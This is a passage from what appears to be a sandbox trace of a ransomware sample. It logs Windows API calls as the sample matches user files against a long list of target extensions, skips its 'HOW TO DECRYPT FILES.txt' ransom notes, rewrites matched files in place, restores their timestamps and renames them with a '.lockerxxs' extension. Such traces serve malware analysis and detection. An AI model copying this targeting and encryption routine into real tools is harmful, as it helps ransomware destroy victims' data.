lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.642] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.642] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.643] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.643] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="K06aDxWF9q8anbIw.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4" [0087.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.ems") returned 0 [0087.643] lstrlenA (lpString="*.ems") returned 5 [0087.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.db") returned 0 [0087.643] lstrlenA (lpString="*.db") returned 4 [0087.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.dbf") returned 0 [0087.643] lstrlenA (lpString="*.dbf") returned 5 [0087.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.myox") returned 0 [0087.643] lstrlenA (lpString="*.myox") returned 6 [0087.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.myo") returned 0 [0087.643] lstrlenA (lpString="*.myo") returned 5 [0087.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.qbw") returned 0 [0087.643] lstrlenA (lpString="*.qbw") returned 5 [0087.643] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.qbb") returned 0 [0087.643] lstrlenA (lpString="*.qbb") returned 5 [0087.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.qbm") returned 0 [0087.644] lstrlenA (lpString="*.qbm") returned 5 [0087.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.qbo") returned 0 [0087.644] lstrlenA (lpString="*.qbo") returned 5 [0087.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.qbx") returned 0 [0087.644] lstrlenA (lpString="*.qbx") returned 5 [0087.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.qba") returned 0 [0087.644] lstrlenA (lpString="*.qba") returned 5 [0087.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.qby") returned 0 [0087.644] lstrlenA (lpString="*.qby") returned 5 [0087.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.qbj") returned 0 [0087.644] lstrlenA (lpString="*.qbj") returned 5 [0087.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.ofx") returned 0 [0087.644] lstrlenA (lpString="*.ofx") returned 5 [0087.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.qif") returned 0 [0087.644] lstrlenA (lpString="*.qif") returned 5 [0087.644] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.mye") returned 0 [0087.645] lstrlenA (lpString="*.mye") returned 5 [0087.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.mbox") returned 0 [0087.645] lstrlenA (lpString="*.mbox") returned 6 [0087.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.eml") returned 0 [0087.645] lstrlenA (lpString="*.eml") returned 5 [0087.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.pst") returned 0 [0087.645] lstrlenA (lpString="*.pst") returned 5 [0087.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.ost") returned 0 [0087.645] lstrlenA (lpString="*.ost") returned 5 [0087.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.idx") returned 0 [0087.645] lstrlenA (lpString="*.idx") returned 5 [0087.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.dbx") returned 0 [0087.645] lstrlenA (lpString="*.dbx") returned 5 [0087.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.sql") returned 0 [0087.645] lstrlenA (lpString="*.sql") returned 5 [0087.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.mdb") returned 0 [0087.645] lstrlenA (lpString="*.mdb") returned 5 [0087.645] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.fdb") returned 0 [0087.646] lstrlenA (lpString="*.fdb") returned 5 [0087.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.wab") returned 0 [0087.646] lstrlenA (lpString="*.wab") returned 5 [0087.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.dat") returned 0 [0087.646] lstrlenA (lpString="*.dat") returned 5 [0087.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.txt") returned 0 [0087.646] lstrlenA (lpString="*.txt") returned 5 [0087.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.jpeg") returned 0 [0087.646] lstrlenA (lpString="*.jpeg") returned 6 [0087.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.jpg") returned 0 [0087.646] lstrlenA (lpString="*.jpg") returned 5 [0087.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.png") returned 0 [0087.646] lstrlenA (lpString="*.png") returned 5 [0087.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.php") returned 0 [0087.646] lstrlenA (lpString="*.php") returned 5 [0087.646] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.cs") returned 0 [0087.646] lstrlenA (lpString="*.cs") returned 4 [0087.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.cpp") returned 0 [0087.647] lstrlenA (lpString="*.cpp") returned 5 [0087.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.rar") returned 0 [0087.647] lstrlenA (lpString="*.rar") returned 5 [0087.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.zip") returned 0 [0087.647] lstrlenA (lpString="*.zip") returned 5 [0087.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.html") returned 0 [0087.647] lstrlenA (lpString="*.html") returned 6 [0087.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.htm") returned 0 [0087.647] lstrlenA (lpString="*.htm") returned 5 [0087.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.xlsx") returned 0 [0087.647] lstrlenA (lpString="*.xlsx") returned 6 [0087.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.xls") returned 0 [0087.647] lstrlenA (lpString="*.xls") returned 5 [0087.647] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", pszSpec="*.mp4") returned 1 [0087.647] lstrlenA (lpString="*.mp4") returned 5 [0087.647] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4" [0087.648] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4" [0087.648] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4." [0087.648] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4.lockerxxs" [0087.648] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\k06adxwf9q8anbiw.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.649] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x110f7 [0087.649] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x97f94230, dwHighDateTime=0x1d5da0e), lpLastAccessTime=0x407536*(dwLowDateTime=0x258916a0, dwHighDateTime=0x1d5e2ef), lpLastWriteTime=0x40753e*(dwLowDateTime=0x258916a0, dwHighDateTime=0x1d5e2ef)) returned 1 [0087.649] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.649] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x110d1, lpOverlapped=0x0) returned 1 [0087.651] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4") returned="K06aDxWF9q8anbIw.mp4" [0087.652] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.652] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x110d1, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x110d1, lpOverlapped=0x0) returned 1 [0087.653] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.653] CloseHandle (hObject=0x8c) returned 1 [0087.653] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\k06adxwf9q8anbiw.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\k06adxwf9q8anbiw.mp4.lockerxxs")) returned 1 [0087.655] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e8e2490, ftCreationTime.dwHighDateTime=0x1d5e73c, ftLastAccessTime.dwLowDateTime=0x4b243a80, ftLastAccessTime.dwHighDateTime=0x1d5e1ea, ftLastWriteTime.dwLowDateTime=0x4b243a80, ftLastWriteTime.dwHighDateTime=0x1d5e1ea, nFileSizeHigh=0x0, nFileSizeLow=0xda2f, dwReserved0=0x2d00032e, dwReserved1=0x4e00c4, cFileName="lKn6D4xOUSHQ34.pdf", cAlternateFileName="LKN6D4~1.PDF")) returned 1 [0087.655] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.655] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="lKn6D4xOUSHQ34.pdf") returned -1 [0087.655] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="lKn6D4xOUSHQ34.pdf") returned -1 [0087.655] lstrcmpiA (lpString1="", lpString2="lKn6D4xOUSHQ34.pdf") returned -1 [0087.655] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K06aDxWF9q8anbIw.mp4") returned="K06aDxWF9q8anbIw.mp4" [0087.656] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.656] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.656] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.656] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.656] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="lKn6D4xOUSHQ34.pdf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf" [0087.656] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.ems") returned 0 [0087.656] lstrlenA (lpString="*.ems") returned 5 [0087.656] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.db") returned 0 [0087.656] lstrlenA (lpString="*.db") returned 4 [0087.656] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.dbf") returned 0 [0087.656] lstrlenA (lpString="*.dbf") returned 5 [0087.656] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.myox") returned 0 [0087.656] lstrlenA (lpString="*.myox") returned 6 [0087.656] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.myo") returned 0 [0087.657] lstrlenA (lpString="*.myo") returned 5 [0087.657] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.qbw") returned 0 [0087.657] lstrlenA (lpString="*.qbw") returned 5 [0087.657] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.qbb") returned 0 [0087.657] lstrlenA (lpString="*.qbb") returned 5 [0087.657] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.qbm") returned 0 [0087.657] lstrlenA (lpString="*.qbm") returned 5 [0087.657] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.qbo") returned 0 [0087.657] lstrlenA (lpString="*.qbo") returned 5 [0087.657] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.qbx") returned 0 [0087.657] lstrlenA (lpString="*.qbx") returned 5 [0087.657] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.qba") returned 0 [0087.657] lstrlenA (lpString="*.qba") returned 5 [0087.657] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.qby") returned 0 [0087.657] lstrlenA (lpString="*.qby") returned 5 [0087.657] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.qbj") returned 0 [0087.657] lstrlenA (lpString="*.qbj") returned 5 [0087.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.ofx") returned 0 [0087.658] lstrlenA (lpString="*.ofx") returned 5 [0087.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.qif") returned 0 [0087.658] lstrlenA (lpString="*.qif") returned 5 [0087.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.mye") returned 0 [0087.658] lstrlenA (lpString="*.mye") returned 5 [0087.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.mbox") returned 0 [0087.658] lstrlenA (lpString="*.mbox") returned 6 [0087.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.eml") returned 0 [0087.658] lstrlenA (lpString="*.eml") returned 5 [0087.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.pst") returned 0 [0087.658] lstrlenA (lpString="*.pst") returned 5 [0087.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.ost") returned 0 [0087.658] lstrlenA (lpString="*.ost") returned 5 [0087.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.idx") returned 0 [0087.658] lstrlenA (lpString="*.idx") returned 5 [0087.658] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.dbx") returned 0 [0087.658] lstrlenA (lpString="*.dbx") returned 5 [0087.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.sql") returned 0 [0087.659] lstrlenA (lpString="*.sql") returned 5 [0087.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.mdb") returned 0 [0087.659] lstrlenA (lpString="*.mdb") returned 5 [0087.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.fdb") returned 0 [0087.659] lstrlenA (lpString="*.fdb") returned 5 [0087.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.wab") returned 0 [0087.659] lstrlenA (lpString="*.wab") returned 5 [0087.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.dat") returned 0 [0087.659] lstrlenA (lpString="*.dat") returned 5 [0087.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.txt") returned 0 [0087.659] lstrlenA (lpString="*.txt") returned 5 [0087.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.jpeg") returned 0 [0087.659] lstrlenA (lpString="*.jpeg") returned 6 [0087.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.jpg") returned 0 [0087.659] lstrlenA (lpString="*.jpg") returned 5 [0087.659] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.png") returned 0 [0087.659] lstrlenA (lpString="*.png") returned 5 [0087.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.php") returned 0 [0087.660] lstrlenA (lpString="*.php") returned 5 [0087.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.cs") returned 0 [0087.660] lstrlenA (lpString="*.cs") returned 4 [0087.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.cpp") returned 0 [0087.660] lstrlenA (lpString="*.cpp") returned 5 [0087.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.rar") returned 0 [0087.660] lstrlenA (lpString="*.rar") returned 5 [0087.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.zip") returned 0 [0087.660] lstrlenA (lpString="*.zip") returned 5 [0087.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.html") returned 0 [0087.660] lstrlenA (lpString="*.html") returned 6 [0087.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.htm") returned 0 [0087.660] lstrlenA (lpString="*.htm") returned 5 [0087.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.xlsx") returned 0 [0087.660] lstrlenA (lpString="*.xlsx") returned 6 [0087.660] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.xls") returned 0 [0087.661] lstrlenA (lpString="*.xls") returned 5 [0087.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.mp4") returned 0 [0087.661] lstrlenA (lpString="*.mp4") returned 5 [0087.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lKn6D4xOUSHQ34.pdf", pszSpec="*.ppt") returned 0 [0087.661] lstrlenA (lpString="*.ppt") returned 5 [0087.661] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 